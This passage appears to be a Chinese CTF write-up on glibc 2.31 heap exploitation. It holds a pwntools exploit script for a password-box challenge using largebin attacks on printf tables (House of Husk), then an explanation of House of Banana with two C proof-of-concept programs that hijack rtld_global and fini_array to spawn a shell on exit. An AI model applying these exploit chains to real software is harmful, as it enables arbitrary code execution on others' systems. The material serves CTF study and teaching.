p.sendlineafter('Input Your Choice:\n',str(1))
p.sendlineafter('Which PwdBox You Want Add:\n',str(index))
p.sendlineafter('Input The ID You Want Save:','aaa')
p.sendlineafter('Length Of Your Pwd:',str(len))
p.sendlineafter('Your Pwd:',pwd)

def edit(index,pwd):
p.sendlineafter('Input Your Choice:\n',str(2))
p.sendlineafter('Which PwdBox You Want Edit:\n',str(index))
p.sendline(pwd)

def show(index):
p.sendlineafter('Input Your Choice:\n',str(3))
p.sendlineafter('Which PwdBox You Want Check:\n',str(index))

def delete(index):
p.sendlineafter('Input Your Choice:\n',str(4))
p.sendlineafter('Idx you want 2 Delete:\n',str(index))

def recover(index):
p.sendlineafter('Input Your Choice:\n',str(5))
p.sendlineafter('Idx you want 2 Recover:\n',str(index))

def exit():
p.sendlineafter('Input Your Choice:\n',str(6))

gdb.attach(p,"b* system")

add(0,0x438,"\x00"*8)
p.recvuntil('First Add Done.Thx 4 Use. Save ID:')
key=u64(p.recv(8))
success('key >> '+hex(key))
add(1,0x448,"\x00"*8)
add(2,0x448,"\x00"*8)
add(3,0x448,"\x00"*8)

delete(0)
delete(2)

recover(0)
show(0)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
libc_base = (leak_addr ^ key) - 0x1ebbe0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

recover(2)
show(2)
p.recvuntil('Pwd is: ')
leak_addr=u64(p.recv(8))
heap_base = (leak_addr ^ key)-656
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

one_gadget_list=[0xe6aee,0xe6af1,0xe6af4,0xe6ce3,0xe6ce6]
one_gadget=one_gadget_list[3]+libc_base
system_libc=libc.sym['system']+libc_base
global_max_fast=libc_base+2026368
main_arena_start=libc_base+2014080
__printf_function_table=main_arena_start+0x5478
__printf_arginfo_table=main_arena_start+0x57d0

success('one_gadget >> '+hex(one_gadget))
success('system_libc >> '+hex(system_libc))
success('global_max_fast >> '+hex(global_max_fast))
success('main_arena_start >> '+hex(main_arena_start))
success('__printf_function_table >> '+hex(__printf_function_table))
success('__printf_arginfo_table >> '+hex(__printf_arginfo_table))

main_arena=libc_base+2015200
main_arena2=libc_base+2015328
chunk0_addr=heap_base+656
chunk2_addr=heap_base+2848
chunk10_addr=heap_base+9632

add(4,0x438,"\x00"*8)
add(5,0x500,"\x00"*8)
delete(0)

payload1= p64(main_arena)+p64(main_arena)
payload1+=p64(chunk2_addr)+p64(__printf_function_table-0x20)
payload2= p64(main_arena)+p64(main_arena)
payload2+=p64(chunk2_addr)+p64(chunk2_addr)

edit(2,payload1)
add(6,0x650,"\x00"*8)
add(7,0x430,"\x00"*8)
edit(2,payload2)
add(8,0x440,"\x00"*8)
add(9,0x660,"\x00"*8)
add(10,0x660,"\x00"*8)
add(11,0x660,"\x00"*8)
delete(10)
add(12,0x800,"\x00"*8)
delete(6)

payload2= p64(main_arena2)+p64(main_arena2)
payload2+=p64(chunk10_addr)+p64(__printf_arginfo_table-0x20)
recover(10)
edit(10,payload2)
add(13,0x800,"\x00"*8)

fake_printf_arginfo_table='\x00'
fake_printf_arginfo_table=fake_printf_arginfo_table.ljust((115-2)*8,'\x00')
fake_printf_arginfo_table+=p64(system_libc)

recover(6)
edit(6,fake_printf_arginfo_table)
edit(2,p64(1)+p64(0)*3)
edit(13,"/bin/sh\x00")
show(13)

p.interactive()

小结:

本题目很灵活,可以用多种方法求解,于是我把学过的技术都用了一遍(House Of Pig 还没有搞过)

  • House Of Banana:
    • 本地还好,不过远程需要爆破 ld_base
  • mp_.tcache_bins劫持 + Tcache attack:
    • 最简单的办法,复习了一下 tcache attack
  • House Of Husk:
    • 好不容易成功进行了两次 largebin attack,最后还是因为各种原因没有打出来
    • 两次 largebin attack 真的有点不容易,关键就是在第一次攻击后,让被修改的那个 large chunk 复原,然后才开始第二次攻击
    • 因为 printf 里面会控制 Rdi 寄存器,所以只能考虑用“one_gadget”,但是 libc-2.31 的“one_gadget” 条件苛刻,所以就失败了

以后会优先考虑 mp_.tcache_bins劫持,然后才是 House Of Husk,House Of Banana

House Of Banana

libc-2.28:_int_malloc 中增加了对 unsorted bin 的BK的校验,使得 unsorted bin attack 变得不可行

libc-2.29:检查变得更加严格,house of strom 不能用了

libc-2.30:常规 large bin attack 方法也被限制(以前可以改两个地址,现在只能改一个了)

house of banana 适用场景:(满足任一条件即可)

  • 程序能够显式的执行exit函数
  • 程序通过 libc_start_main 启动的主函数,且主函数能够结束

House Of Banana 原理

在 ld.so 里,存在一个 _rtld_global 指针,指向 rtld_global 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct rtld_global
{
#endif
/* Don't change the order of the following elements. 'dl_loaded'
must remain the first element. Forever. */

/* Non-shared code has no support for multiple namespaces. */
#ifdef SHARED
# define DL_NNS 16
#else
# define DL_NNS 1
#endif
EXTERN struct link_namespaces
{
/* A pointer to the map for the main map. */
struct link_map *_ns_loaded;
/* Number of object in the _dl_loaded list. */
unsigned int _ns_nloaded;
/* Direct pointer to the searchlist of the main object. */
struct r_scope_elem *_ns_main_searchlist;
/* This is zero at program start to signal that the global scope map is
allocated by rtld. Later it keeps the size of the map. It might be
reset if in _dl_close if the last global object is removed. */
unsigned int _ns_global_scope_alloc;

/* During dlopen, this is the number of objects that still need to
be added to the global scope map. It has to be taken into
account when resizing the map, for future map additions after
recursive dlopen calls from ELF constructors. */
unsigned int _ns_global_scope_pending_adds;

/* Once libc.so has been loaded into the namespace, this points to
its link map. */
struct link_map *libc_map;

/* Search table for unique objects. */
struct unique_sym_table
{
__rtld_lock_define_recursive (, lock)
struct unique_sym
{
uint32_t hashval;
const char *name;
const ElfW(Sym) *sym;
const struct link_map *map;
} *entries;
size_t size;
size_t n_elements;
void (*free) (void *);
} _ns_unique_sym_table;
/* Keep track of changes to each namespace' list. */
struct r_debug _ns_debug;
} _dl_ns[DL_NNS];
/* One higher than index of last used namespace. */
EXTERN size_t _dl_nns;
.................................................................................
};

rtld_global 结构体里面装有 _dl_ns 结构体,该结构体存储着的实际就是elf各段的符号结构体(我们较为关注的是 fini_array 段的动态链接结构体指针)

fini_array 段的动态链接结构体指针会在以下代码中被使用:

1
2
3
4
5
6
7
8
9
10
  if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}

因此,伪造该结构体指针,可以使得 array 指向我们可控的数据区,从而布置下一系列函数,进而劫持程序的流

那么 house of banana 的思想就是利用 large bin attack 往 rtld_global 写入堆的地址,并事先在堆里伪造好 rtld_global 结构体,这样程序 exit 或者正常退出 main 函数时,便会执行到伪造的 fini_array 数组

House Of Banana 利用姿势

案例一:间接利用“rtld_global”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>

void shell()
{
system("/bin/sh");
}

uint64_t getLibcBase()
{
uint64_t to;
uint64_t from;
char buf[0x400];

FILE* file;
sprintf(buf, "/proc/%d/maps",(int)getpid());
file = fopen(buf, "r");
while(fgets(buf, sizeof(buf), file))
{
if(strstr(buf,"libc")!=NULL)
{
sscanf(buf, "%lx-%lx", &from, &to);
fclose(file);
return from;
}
}
}

int main(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

uint64_t libcBase = getLibcBase();
uint64_t rtld_global = libcBase+0x1fa000+0x2E060;
uint64_t* next_node = (uint64_t*)(rtld_global-0x35f48);
/* distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) */

uint64_t *p1 = malloc(0x428); /* 为了触发 largebin attack */
uint64_t *g1 = malloc(0x18);

uint64_t *p2 = malloc(0x418); /* p1->size和p2->size必须不相同 */
uint64_t *g2 = malloc(0x18);
uint64_t fake = (uint64_t)p2-0x10;

*(uint64_t*)(fake+0x28) = fake;
*(uint64_t*)(fake+0x31c) = 0x1c;
*(uint64_t*)(fake+0x110) = fake+0x40;
*(uint64_t*)(fake+0x48) = fake+0x58;
*(uint64_t*)(fake+0x58) = (uint64_t)shell;
*(uint64_t*)(fake+0x120) = fake+0x48;
*(uint64_t*)(fake+0x50) = 0x8;

printf("libcBase is 0x%lx\n",libcBase);
printf("rtld_global is 0x%lx\n",rtld_global);

free(p1);
uint64_t *g3 = malloc(0x438); //force p1 insert in to the largebin
free(p2);
p1[3] = ((uint64_t)next_node -0x20); //push p2 into unsoteded bin
uint64_t *g4 = malloc(0x438); //force p2 insert in to the largebin

p2[1] = 0;
p2[3] = fake;

return 0;
}
1
2
3
4
5
6
7
➜  桌面 gcc ./test.c -o test -g                                                   
➜ 桌面 patchelf --set-interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so --set-rpath /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64 test
➜ 桌面 ./test
libcBase is 0x7f678f5f5000
rtld_global is 0x7f678f81d060
$ whoami
yhellow

这里先说一下这两个关键的偏移(“rtld_global”,“next_node”)是怎么得出来的

1
2
pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
0x7ffff7ffd060->0x7ffff7fc7118 is -0x35f48 bytes (-0x6be9 words)

先计算“rtld_global”的偏移,然后“next_node”的偏移也计算出来了

这种类型的 House Of Banana 是针对“next_node”进行攻击的,利用 largebin attack 在“next_node”中写入“fake”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/xg fake
0x55555555bcd0: 0x0000000000000000
pwndbg> telescope *next_node /* next_node->fake */
00:0000│ rax 0x55555555bcd0 ◂— 0x0
01:00080x55555555bcd8 ◂— 0x421
02:00100x55555555bce0 —▸ 0x7ffff7fc0fd0 (main_arena+1104) —▸ 0x7ffff7fc0fc0 (main_arena+1088) —▸ 0x7ffff7fc0fb0 (main_arena+1072) —▸ 0x7ffff7fc0fa0 (main_arena+1056) ◂— ...
03:00180x55555555bce8 ◂— 0x0
04:00200x55555555bcf0 —▸ 0x55555555b880 ◂— 0x0
05:0028│ rdx 0x55555555bcf8 —▸ 0x55555555bcd0 ◂— 0x0 /* fake+0x28 */
06:00300x55555555bd00 ◂— 0x0
07:00380x55555555bd08 ◂— 0x0
pwndbg>
08:00400x55555555bd10 ◂— 0x0
09:00480x55555555bd18 —▸ 0x55555555bd28 —▸ 0x5555555552c9 (shell) ◂— endbr64
0a:00500x55555555bd20 ◂— 0x8 /* fake+0x50 */
0b:00580x55555555bd28 —▸ 0x5555555552c9 (shell) ◂— endbr64 /* fake+0x58 */

案例二:直接利用“rtld_global”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>

void backdoor() {
puts("you hacked me!!");
system("/bin/sh");
}

int main() {
puts("house of banana's poc");
size_t libc_base = &puts - 554128;
size_t _rtld_global_ptr_addr = libc_base + 2252896;
char *ptr0 = malloc(0x450);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x440);
gap = malloc(0x10);
char *ptr2 = malloc(0x410);
gap = malloc(0x10);


printf("libc_base is 0x%lx\n",libc_base);
printf("_rtld_global_ptr_addr is 0x%lx\n",_rtld_global_ptr_addr);

free(ptr0);

//put ptr0 into large bin
malloc(0x500);

free(ptr1); //free ptr1 into unsorted bin
free(ptr2); //free ptr2 into unsorted bin

//bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_addr - 0x20;
malloc(0x410); //large bin attack to hijack _rtld_global_ptr

//fake a _rtld_global
size_t fake_rtld_global_addr = ptr1 - 0x10;
size_t *fake_rtld_global = (size_t *)ptr1;
char buf[0x100];

//the chain's length must >= 4
fake_rtld_global[1] = &fake_rtld_global[2];
fake_rtld_global[3] = fake_rtld_global_addr;

fake_rtld_global[2+3] = &fake_rtld_global[3];
fake_rtld_global[2+5] = &fake_rtld_global[2];

fake_rtld_global[3+3] = &fake_rtld_global[8];
fake_rtld_global[3+5] = &fake_rtld_global[3];

fake_rtld_global[8+3] = 0;
fake_rtld_global[8+5] = &fake_rtld_global[8];

//fake a fini_array segment
fake_rtld_global[0x20] = &fake_rtld_global[0x30];
fake_rtld_global[0x22] = &fake_rtld_global[0x23];
fake_rtld_global[0x23+1] = 0x8; //func ptrs total len

fake_rtld_global[0x30] = 0x1A;
fake_rtld_global[0x31] = 0;
fake_rtld_global[-2] = &fake_rtld_global[0x32];

//funcs
fake_rtld_global[0x32] = backdoor;
fake_rtld_global[0x61] = 0x800000000;

return 0;
}

这种类型的 House Of Banana 直接攻击“rtld_global”,利用 largebin attack 在“rtld_global”中写入“fake_rtld_global_addr”(“fake_rtld_global” - 0x10)

1
2
pwndbg> p &_rtld_global
$5 = (struct rtld_global *) 0x7ffff7ffd060 <_rtld_global>
1
2
pwndbg> x/xg 0x7ffff7ffd060
0x7ffff7ffd060 <_rtld_global>: 0x000055555555ab20
1
2
pwndbg> p fake_rtld_global
$10 = (size_t *) 0x55555555ab30
1
2
pwndbg> p &fake_rtld_global_addr
$12 = (size_t *) 0x7fffffffde20
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> telescope 0x000055555555ab20
00:00000x55555555ab20 —▸ 0x55555555acc0 —▸ 0x5555555551f9 (backdoor) ◂— endbr64
01:00080x55555555ab28 ◂— 0x451
02:00100x55555555ab30 —▸ 0x7ffff7fc1fe0 (main_arena+1120) —▸ 0x7ffff7fc1fd0 (main_arena+1104) —▸ 0x7ffff7fc1fc0 (main_arena+1088) —▸ 0x7ffff7fc1fb0 (main_arena+1072) ◂— ...
03:00180x55555555ab38 —▸ 0x55555555ab40 —▸ 0x55555555a6a0 ◂— 0x0
/* fake_rtld_global[1] */
04:00200x55555555ab40 —▸ 0x55555555a6a0 ◂— 0x0
/* fake_rtld_global[2] */
05:00280x55555555ab48 —▸ 0x55555555ab20 —▸ 0x55555555acc0 —▸ 0x5555555551f9 (backdoor) ◂— endbr64
/* fake_rtld_global[3] */
06:00300x55555555ab50 ◂— 0x0
07:00380x55555555ab58 —▸ 0x55555555ab48 —▸ 0x55555555ab20 —▸ 0x55555555acc0 —▸ 0x5555555551f9 (backdoor)

利用条件:

  • 有足够的空间,可以伪造“rtld_global”结构体
  • 可以使用 Largebin attack

版本对 House Of Banana 的影响

目前为止没有影响